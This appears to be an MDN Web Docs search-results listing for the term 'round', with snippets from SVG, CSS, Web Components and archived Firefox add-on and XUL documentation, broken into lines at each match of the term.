round end exponent externalresourcesrequired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format from fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal glyph-orientation-vertical glyphref gradienttransform gradientunits h hang...
... alignment-baseline, baseline-shift, clip, clip-path, clip-rule, color, color-interpolation, color-interpolation-filters, color-profile, color-rendering, cursor, direction, display, dominant-baseline, enable-backg
round, fill, fill-opacity, fill-rule, filter, flood-color, flood-opacity, font-family, font-size, font-size-adjust, font-stretch, font-style, font-variant, font-weight, glyph-orientation-horizontal, glyph-orientation-vertical, image-rendering, kerning, letter-spacing, lighting-color, marker-end, marker-mid, marker-start, mask, opacity, overflow, pointer-events, shape-rendering, stop-color, stop-opacity...
<rect> - SVG: Scalable Vector Graphics
the rectangles may have their corners
rounded.
... html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple rectangle --> <rect width="100" height="100" /> <!--
rounded corner rectangle --> <rect x="120" width="100" height="100" rx="15" /> </svg> attributes x the x coordinate of the rect.
Basic shapes - SVG: Scalable Vector Graphics
the one on the right has its rx and ry parameters set, giving it
rounded corners.
...using a path element, you can draw rectangles (with or without
rounded corners), circles, ellipses, polylines, and polygons.
Gradients in SVG - SVG: Scalable Vector Graphics
the first of these defines a circle a
round which the gradient ends.
...setting these three attributes will allow you to move the gradient a
round and change its size, as shown in the second rect above.
Transport Layer Security - Web security
the major changes in tls 1.3 are: the tls 1.3 handshake completes in one
round trip in most cases, reducing handshake latency.
... a server can enable a 0-rtt (zero
round trip time) handshake.
Using custom elements - Web Components
div> and <style> elements to the shadow root: const shadow = this.attachshadow({mode: 'open'}); const div = document.createelement('div'); const style = document.createelement('style'); shadow.appendchild(style); shadow.appendchild(div); the key function in this example is updatestyle() — this takes an element, gets its shadow root, finds its <style> element, and adds width, height, and backg
round-color to the style.
... function updatestyle(elem) { const shadow = elem.shadowroot; shadow.queryselector('style').textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px; backg
round-color: ${elem.getattribute('c')}; } `; } the actual updates are all handled by the life cycle callbacks, which are placed inside the class definition as methods.
Using shadow DOM - Web Components
note: as this blog post shows, it is actually fairly easy to work a
round closed shadow doms, and the hassle to completely hide them is often more than it's worth.
...n.appendchild(img); styling the shadow dom after that we create a <style> element and populate it with some css to style it: // create some css to apply to the shadow dom let style = document.createelement('style'); style.textcontent = ` .wrapper { position: relative; } .info { font-size: 0.8rem; width: 200px; display: inline-block; border: 1px solid black; padding: 10px; backg
round: white; border-radius: 10px; opacity: 0; transition: 0.6s all; position: absolute; bottom: 20px; left: 10px; z-index: 3; } img { width: 1.2rem; } .icon:hover + .info, .icon:focus + .info { opacity: 1; }`; attaching the shadow dom to the shadow root the final step is to attach all the created elements to the shadow root: // attach the created elements to the shadow dom sha...
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
built from the g
round up utilizing a wide variety of xml technologies, firefox incorporates within itself all of the mechanisms needed to process both original xml documents and the specialized stylesheets used to style and lay them out for html display, reducing server load with client-side processing.
...pported) false() (supported) floor() (supported) format-number() (supported) function-available() (supported) generate-id() (supported) id() (partially supported) key() (supported) lang() (supported) last() (supported) local-name() (supported) name() (supported) namespace-uri() (supported) normalize-space() (supported) not() (supported) number() (supported) position() (supported)
round() (supported) starts-with() (supported) string() (supported) string-length() (supported) substring() (supported) substring-after() (supported) substring-before() (supported) sum() (supported) system-property() (supported) translate() (supported) true() (supported) unparsed-entity-url() (not supported) for further reading books online the world wide web consortium portals...
Caching compiled WebAssembly modules - WebAssembly
this article explains the best practices a
round this.
... errmsg => { console.log(errmsg); return webassembly.instantiatestreaming(fetch(url)).then(results => { return results.instance }); }); } caching a wasm module with the above library function defined, getting a wasm module instance and using its exported features (while handling caching in the backg
round) is as simple as calling it with the following parameters: a cache version, which — as we explained above — you need to update when any wasm module is updated or moved to a different url.
XUL Migration Guide - Archive of obsolete content
this simple example modifies the selected tab's css to enable the user to highlight the selected tab: function highlightactivetab() { var window = require("sdk/window/utils").getmostrecentbrowserwindow(); var tab = require("sdk/tabs/utils").getactivetab(window); if (tab.style.getpropertyvalue('backg
round-color')) { tab.style.setproperty('backg
round-color','','important'); } else { tab.style.setproperty('backg
round-color','rgb(255,255,100)','important'); } } require("sdk/ui/button/action").actionbutton({ id: "highlight-active-tab", label: "highlight active tab", icon: "./icon-16.png", onclick: highlightactivetab }); security implications the sdk implements a security mode...
selection - Archive of obsolete content
examples log the current contiguous selection as text: var selection = require("sdk/selection"); if (selection.text) console.log(selection.text); log the current discontiguous selections as html: var selection = require("sdk/selection"); if (!selection.iscontiguous) { for (var subselection in selection) { console.log(subselection.html); } } sur
round html selections with delimiters: var selection = require("sdk/selection"); selection.on('select', function () { selection.html = "\\\" + selection.html + "///"; }); globals properties text gets or sets the current selection as plain text.
windows - Archive of obsolete content
w has " + windows.activewindow.tabs.length + " tabs."); // print the title of all browser windows for (let window of windows) { console.log(window.title); } // close the active window windows.activewindow.close(function() { console.log("the active window was closed"); }); methods activate() makes window active, which will focus that window and bring it to the foreg
round.
cfx to jpm - Archive of obsolete content
there is a known bug in simple options handling which may require the worka
round described in https://bug635044.bugzilla.mozilla.org/show_bug.cgi?id=1243467 commands and command options permanently removed commands jpm has dropped support for all the "internal" cfx commands.
Storing annotations - Archive of obsolete content
on-list.css" /> </head> <body> <div id="annotation-list"> </div> <div id="template"> <div class="annotation-details"> <a class="url"></a> <div class="selection-text"></div> <div class="annotation-text"></div> </div> </div> </body> </html> here's the corresponding css: #annotation-list .annotation-details { padding: 10px; margin: 10px; border: solid 3px #eee; backg
round-color: white; } #annotation-list .url, .selection-text, .annotation-text { padding: 5px; margin: 5px; } #annotation-list .selection-text,#annotation-list .annotation-text { border: solid 1px #eee; } #annotation-list .annotation-text { font-style: italic; } body { backg
round-color: #f5f5f5; font: 100% arial, helvetica, sans-serif; } h1 { font-family: georgia,...
Display a Popup - Archive of obsolete content
self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { backg
round-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png try it out: "index.js" is saved in the top level, and the other five files go in your add-on's data directory: my-ad...
Downloading Files - Archive of obsolete content
var privacy = privatebrowsingutils.privacycontextfromwindow(aurlsourcewindow); var progresselement = document.getelementbyid("progress_element"); persist.progresslistener = { onprogresschange: function(awebprogress, arequest, acurselfprogress, amaxselfprogress, acurtotalprogress, amaxtotalprogress) { var percentcomplete = math.
round((acurtotalprogress / amaxtotalprogress) * 100); progresselement.textcontent = percentcomplete +"%"; }, onstatechange: function(awebprogress, arequest, astateflags, astatus) { // do something } } persist.saveuri(obj_uri, null, null, null, "", targetfile, privacy); downloading files that require credentials before calling nsiwebbrowserpersist.saveuri(), you need to set the progress...
Finding window handles - Archive of obsolete content
.treeowner .queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsibasewindow); var hwndstring = basewindow.nativehandle; components.utils.import('resource://gre/modules/ctypes.jsm'); var user32 = ctypes.open('user32.dll'); /* http://msdn.microsoft.com/en-us/library/ms633539%28v=vs.85%29.aspx * bool winapi setforeg
roundwindow( * __in_ hwnd hwnd * ); */ var setforeg
roundwindow = user32.declare('setforeg
roundwindow', ctypes.winapi_abi, ctypes.bool, // return bool ctypes.voidptr_t // hwnd ); var hwnd = ctypes.voidptr_t(ctypes.uint64(hwndstring)); var rez_setforeg
roundwindow = setforeg
roundwindow(hwnd); console.log('rez_setforeg
roundwindow:', rez_setforeg
roundwindow, rez_setforeg
roundwindow.tostring()...
HTML to DOM - Archive of obsolete content
target; var url = doc.location.href; if (aevent.originaltarget.nodename == "#document") { // ok, it's a real page, let's do our magic dump("[df] url = "+url+"\n"); var text = doc.evaluate("/html/body/h1",doc,null,xpathresult.string_type,null).stringvalue; dump("[df] text in /html/body/h1 = "+text+"\n"); } }, as you can see, we obtain full access to the dom of the page we loaded in backg
round, and we can even evaluate xpath expressions.
Tabbox - Archive of obsolete content
tab panel for the onclosetab tabs event: function removetab(){ var tabbox = document.getelementbyid("tabbox"); var currentindex = tabbox.selectedindex; if(currentindex>=0){ var tabs=document.getelementbyid("tabs"); var tabpanels=document.getelementbyid("tabpanels"); tabpanels.removechild(tabpanels.childnodes[currentindex]); tabs.removeitemat(currentindex); /*work a
round if last tab is removed, widget fails to advance to next tab*/ if(-1 == tabbox.selectedindex && tabs.childnodes.length>0){ tabbox.selectedindex=0; } } creating a close tab button to have a tab close button, you must configure the style.
JavaScript timers - Archive of obsolete content
using javascript timers within animations (javascript daemons management) in computer science a daemon is a task that runs as a backg
round process, rather than being under the direct control of an interactive user.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
the demo of this is seen at jsfiddle :: jsontodom example var json = ['html:div', {style:'backg
round-color:springgreen'}, ['html:form', {id:'myfirstform'}, ['html:input', {type:'text', value:'my field'}], ['html:button', {id:'mybtn'}, 'button text content'] ], ['html:form', {id:'mysecondform'}, ['html:input', {type:'text', value:'my field for second form'}], ['html:div', {}, 'sub div with textcontent and siblings', ...
Promises - Archive of obsolete content
representative example usage components.utils.import("resource://gre/modules/downloads.jsm"); task.spawn(function* () { // fetch a file in the backg
round.
Creating reusable content with CSS and XBL - Archive of obsolete content
<children/> </xul:button> </content> <implementation> <field name="square"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "square") ]]></field> <field name="button"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "button") ]]></field> <method name="dodemo"> <body><![cdata[ this.square.style.backg
roundcolor = "#cf4" this.square.style.marginleft = "20em" this.button.setattribute("disabled", "true") settimeout(this.cleardemo, 2000, this) ]]></body> </method> <method name="cleardemo"> <parameter name="me"/> <body><![cdata[ me.square.style.backg
roundcolor = "transparent" me.square.style.marginleft = "0" me.button.removea...
XML data - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: /*** xml demonstration ***/ planet:before { display: block; width: 8em; font-weight: bold; font-size: 200%; content: "oceans"; margin: -.75em 0px .25em -.25em; padding: .1em .25em; backg
round-color: #cdf; } planet { display: block; margin: 2em 1em; border: 4px solid #cdf; padding: 0px 1em; backg
round-color: white; } ocean { display: block; margin-bottom: 1em; } name { display: block; font-weight: bold; font-size: 150%; } area { display: block; } area:before { content: "area: "; } area:after { content: " million km\b2"; } depth { display...
Index of archived content - Archive of obsolete content
rfe to the custom controls interfaces rfe to the xforms api troubleshooting xforms forms using xforms and php xforms api reference xforms config variables xforms custom controls xforms custom controls examples xforms styling backg
round-size foreach beginner tutorials creating reusable content with css and xbl underscores in class and id names xml data xul user interfaces case sensitivity in class and id names creating a dynamic status bar extension creating a status bar extension ...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
if(document.all) tagname="nde:"+tagname; paraa=article.getelementsbytagname(tagname).item(0).firstchild.nodevalue; linkk=article.getattribute("url"); strvalue="<div class='nde-blurb'><h3><a href='"+linkk+"'>"+valuee+"</a></h3><p>"+paraa+"</p></div>"; document.getelementbyid("container").innerhtml+=strvalue; } } if(previousele) { previousele.style.backg
roundcolor="white"; } ele.style.backg
roundcolor="#ddeeff"; previousele=ele; } var previousele=null; </script> <style> .tab { position:relative;top:1px; border: 1px solid #dddddd; color:white; backg
round-color:white; padding-left: 5px; border-bottom:white;padding-right: 5px; padding-top:3px; text-decoration:none;} .tab:hover { backg
round-color:#ddeeff; } </style> </head> <body > <h2>lates...
MMgc - Archive of obsolete content
increment time slice before diving into the this it should be acknowledged that another way to go about this is to use a backg
round thread and not worry about incremental marking.
Monitoring downloads - Archive of obsolete content
eak; case 3: statusstr = "canceled"; style = "color:purple"; break; case 4: statusstr = "paused"; style = "color:blue"; break; case 5: statusstr = "queued"; style = "color:teal"; break; case 6: statusstr = "blocked"; style = "color:white backg
round-color:red"; break; case 7: statusstr = "scanning"; style = "color:silver"; break; default: statusstr = "unknown"; break; } cell.setattribute("label", statusstr); cell.setattribute("style", style); row.appendchild(cell); loglist.appendchild(row); } } finally { statem...
Mozilla Application Framework in Detail - Archive of obsolete content
as personal connectivity expands from the desktop computer to new web-enabled products and devices, gecko is a browser engine that has been designed from the g
round up to power a new generation of desktop browsers and browsing devices and to accelerate the growth and development of the next-generation internet.
Plug-n-Hack - Archive of obsolete content
while some of the pnh capabilities do have a fixed meaning, particularly a
round proxy configuration, most of the capabilities are completely generic, allowing tools to expose whatever functionality they want.
Archived SpiderMonkey docs - Archive of obsolete content
between resolving conflicts, finding a good time to land, watching the tree, and marking bugs as fixed, it takes a
round half a day.spidermonkey coding conventionsthe spidermonkey project owners enforce coding conventions pretty strictly during code reviews.
Supporting private browsing mode - Archive of obsolete content
for example, if you want to use a different backg
round color for the url bar when in private browsing mode, you could do the following: [browsingmode=private] #urlbar { -moz-appearance: none; backg
round: #eee } similarly, if you want to theme the firefox button in firefox 4 differently when private browsing mode is permanent: #main-window[privatebrowsingmode=temporary] #appmenu-button:not(:-moz-window-inactive) { -moz-border-left-colors: rgba(...
Table Layout Regression Tests - Archive of obsolete content
a typical beginning of a dump (*.rgd file) looks like: <frame va="15022440" type="viewport(-1)" state="270340" parent="0"> <view va="47171904"> </view> <stylecontext va="15022232"> <font serif 240 240 0 /> <color data="-16777216"/> <backg
round data="0 2 3 -1 0 0 "/> <spacing data="left: null top: null right: null bottom: null left: null top: null right: null bottom: null left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum left: null top: null right: null bottom: null left: null top: null right: null bottom: null 1[0x1]enum 0" /> <list data="100 100 " /> <position data="left: auto top: auto right: auto...
Actionscript Acceptance Tests - Archive of obsolete content
(see bug 587093 for details.) specifying multiple .abcs: if you desire to run a test with multiple .abc files (e.g: avmshell a.abc b.abc testname.abc) there is a special avm_args directive called multiabc that is specified sur
rounded by two pipe (|) symbols: |multiabc| $dir/testname_support/a.abc $dir/testname_support/b.abc the extra abc files will usually be placed in a _support dir (see additional files below).
Tamarin Build System Documentation - Archive of obsolete content
; cd scripts edit environment.sh, change the basedir and buildsdir settings (a
round line 51) basedir=~/hg/tamarin-redux (path to my test repository) (next line) buildsdir=~/hg/builds (a directory to store downloaded builds) always set current working directory to the scripts directory when running a script run a script (e.g.) ../all/run-acceptance-release.sh <optional hg revision number like 1902> how do i navigate the build status page?
URIs and URLs - Archive of obsolete content
for backwards compatibility, an implementation may work a
round such references by removing the scheme if it matches that of the base uri and the scheme is known to always use the "hier_part" syntax.
XUL Event Propagation - Archive of obsolete content
the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="backg
round-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu handler')"> <menupopup> <menuitem oncommand="alert('new item alert')" label="new" /> <menuitem label="open" /> <menuitem oncommand="alert('close handler')" label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> ...
datepicker - Archive of obsolete content
to avoid this, you can use the worka
round described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers.
menuitem - Archive of obsolete content
a worka
round is to set the autocheck attribute to false, then programmatically set the checked attribute when the user selects the item, and set it to false instead of removing the attribute (i.e.
panel - Archive of obsolete content
<description value="you have 6 new messages."/> <hbox> <button label="read mail"/> <button label="new message"/> </hbox> </vbox> </hbox> </panel> <description value="6 new messages" popup="thepanel"/> attributes backdrag type: boolean setting the backdrag attribute on a xul panel lets the user move the panel by clicking and dragging anywhere on its backg
round area.
scrollbox - Archive of obsolete content
brought forth on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, scroll bars will sprout out of nowhere and allow the user to scroll a
round the big content in the small view space.
timepicker - Archive of obsolete content
to avoid this, you can use the worka
round described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers.
titlebar - Archive of obsolete content
<?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="backg
round: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="backg
round: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul...
tooltip - Archive of obsolete content
attributes crop, default, label, noautohide, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, page, position properties accessibletype, label, popupboxobject, position, state methods hidepopup, moveto, openpopup, openpopupatscreen, showpopup, sizeto examples <tooltip id="moretip" orient="vertical" style="backg
round-color: #33dd00;"> <label value="click here to see more information"/> <label value="really!" style="color: red;"/> </tooltip> <vbox> <button label="simple" tooltiptext="a simple popup"/> <button label="more" tooltip="moretip"/> </vbox> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be ...
treechildren - Archive of obsolete content
attributes alternatingbackg
round attributes alternatingbackg
round obsolete since gecko 2.0 type: boolean if true, the backg
round of the tree's rows will alternate between two colors.
Summary of Changes - Archive of obsolete content
ure or recommended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 backg
round-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripting non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attr...
-moz-border-bottom-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; backg
round-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
-moz-border-left-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; backg
round-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
-moz-border-right-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; backg
round-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
-moz-border-top-colors - Archive of obsolete content
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> example <div id="example">example</div> #example { padding: 20px; backg
round-color: gray; border: 10px solid black; -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0; -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0; } specifications this property is not par...
-moz-stack-sizing - Archive of obsolete content
note: in previous versions of gecko it was possible to work a
round the problem by setting very large negative bottom and right margins on the stack element and equally large positive bottom and right margins on the children whose size you didn't want to ignore.
::-ms-check - Archive of obsolete content
-ms-backg
round-position-x -ms-backg
round-position-y -ms-high-contrast-adjust backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-rig...
::-ms-clear - Archive of obsolete content
-ms-high-contrast-adjust backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-position-x backg
round-position-y backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color bo...
::-ms-expand - Archive of obsolete content
-ms-high-contrast-adjust backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-position-x backg
round-position-y backg
round-repeat backg
round-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-...
CSS - Archive of obsolete content
the -ms-wrap-flow css property is a microsoft extension that specifies how exclusions impact inline content within block-level elements.-ms-wrap-marginthe -ms-wrap-margin css property is a microsoft extension that specifies a margin that offsets the inner wrap shape from other shapes.-ms-wrap-throughthe -ms-wrap-through css property is a microsoft extension that specifies how content should wrap a
round an exclusion element.:-moz-full-screen-ancestorthe :-moz-full-screen-ancestor css pseudo-class is a mozilla extension that represents all ancestors of the full-screen element, except containing frames in parent documents, which are the full-screen element in their own documents.
E4X for templating - Archive of obsolete content
although a big advantage of e4x is being able to separate presentation from business logic, and the above-mentioned technique may fly in the face of this, if formatted well, it can also allow inline shaping of xml somewhat akin to the w3c standard xquery language, allowing the scripting to mix in context with the sur
rounding declarative xml: var a = <a><b/><c/><d/></a>; var b = <bar>{function () { var content = <></>; for each (var el in a) { el.@att = 'val'; content += el; } return content; }()}</bar>; giving: <bar> <b att="val"/> <c att="val"/> <d att="val"/> </bar> one may still wish to remove complex business logic and supply as variables to the e4x, but the above allo...
E4X - Archive of obsolete content
worka
round: var response = xmlhttprequest.responsetext; // bug 270553 response = response.replace(/^<\?xml\s+version\s*=\s*(["'])[^\1]+\1[^?]*\?>/, ""); // bug 336551 var e4x = new xml(response); resources e4x tutorial processing xml with e4x on mdc e4x for templating see the list of e4x-related pages on mdc ecma-357 standard brendan's presentation e4x at faqts.com e4x quick reference at rephras...
ArrayBuffer.transfer() - Archive of obsolete content
arraybuffer(40); new int32array(buf1)[0] = 42; var buf2 = arraybuffer.transfer(buf1, 80); buf1.bytelength; // 0 but if you use the polyfill then the value is still 40 buf2.bytelength; // 80 new int32array(buf2)[0]; // 42 var buf3 = arraybuffer.transfer(buf2, 0); buf2.bytelength; // 0 but if you use the polyfill then the value is still 80 buf3.bytelength; // 0 polyfill you can partially work a
round this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of transfer() in browsers that do not natively support it.
ECMAScript 2015 support in Mozilla - Archive of obsolete content
optional iterable argument in weakmap constructor (firefox 36) constructor argument: new weakmap(null) (firefox 37) monkey-patched set() in constructor (firefox 37) weakset (firefox 34) constructor argument: new weakset(null) (firefox 37) monkey-patched add() in constructor (firefox 37) new math functions math.imul() (firefox 20) math.clz32() (firefox 31) math.f
round() (firefox 26) math.log10(), math.log2(), math.log1p(), math.expm1(), math.cosh(), math.sinh(), math.tanh(), math.acosh(), math.asinh(), math.atanh(), math.hypot(), math.trunc(), math.sign(), math.cbrt() (firefox 25) additions to the number object number.isnan() (firefox 16) number.isfinite() (firefox 16) number.isinteger() (firefox 16) number.parseint() (firefox 25) number.parsefloat()...
JavaClass - Archive of obsolete content
backward compatibility javascript 1.3 and earlier you must create a wrapper a
round an instance of java.lang.class before you pass it as a parameter to a java method -- javaclass objects are not automatically converted to instances of java.lang.class.
Reference - Archive of obsolete content
cstevens 10:23, 20 december 2006 (pst) we do plan to move the pages a
round, see core javascript 1.5 reference/reorg, but it's not clear when that will happen.
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
for example: :hover {color: red;} this is equivalent to the css2 rule: *:hover {color: red;} ..which translates as "any element that is being hovered should have its foreg
round colored red." thus, hovering over paragraphs, tables, headings, and any other element in a document will cause text to become red.
Common causes of memory leaks in extensions - Extensions
ces.obs.removeobserver(myobserver, "xpcom-shutdown"); } else { // do something with "private-browsing" } } }; services.obs.addobserver(myobserver, "private-browsing", false); services.obs.addobserver(myobserver, "xpcom-shutdown", false); finally, a lot of services other than nsiobserverservice accept nsiobserver parameters or other interfaces and will keep strong references a
round.
Game distribution - Game development
after you've covered steam, there's plenty of buzz a
round initiatives like humble bundle where the most popular indie games get presented to a broader audience.
Selector (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
consider this css: p { color: green; } div.warning { width: 100%; border: 2px solid yellow; color: white; backg
round-color: darkred; padding: 0.8em 0.8em 0.6em; } #customized { font: 16px lucida grande, arial, helvetica, sans-serif; } the selectors here are "p" (which applies the color green to the text inside any <p> element), "div.warning" (which makes any <div> element with the class "warning" look like a warning box), and "#customized", which sets the base font of the element with the id "customized" to 16-pixel tall lucida grande or one of a few fallback fonts.
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 100px 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</...
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-template-rows: 100px 100px; grid-template-areas: "a a b" "a a b"; } .item1 { grid-area: a; } .item2 { grid-area: b; } <div class="wrapper"> ...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> learn mor...
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 200px 1fr 3fr; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> track sizing in the implicit grid ...
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #fff8f8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1.2fr); grid-auto-rows: 45%; grid-column-gap: 20px; grid-row-gap: 20px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four...
::-moz-tree-cell
associated elements <xul:treecell> style properties backg
round border margin outline padding visibility ...
::-moz-tree-row
associated elements treerow syntax treechildren::-moz-tree-row { style properties } style properties backg
round border margin outline padding display -moz-appearance examples treechildren::-moz-tree-row( foo bar ) { margin: 2%; } ...where...
overflow-clip-box-block
examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; backg
round: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property h...
overflow-clip-box-inline
examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black; backg
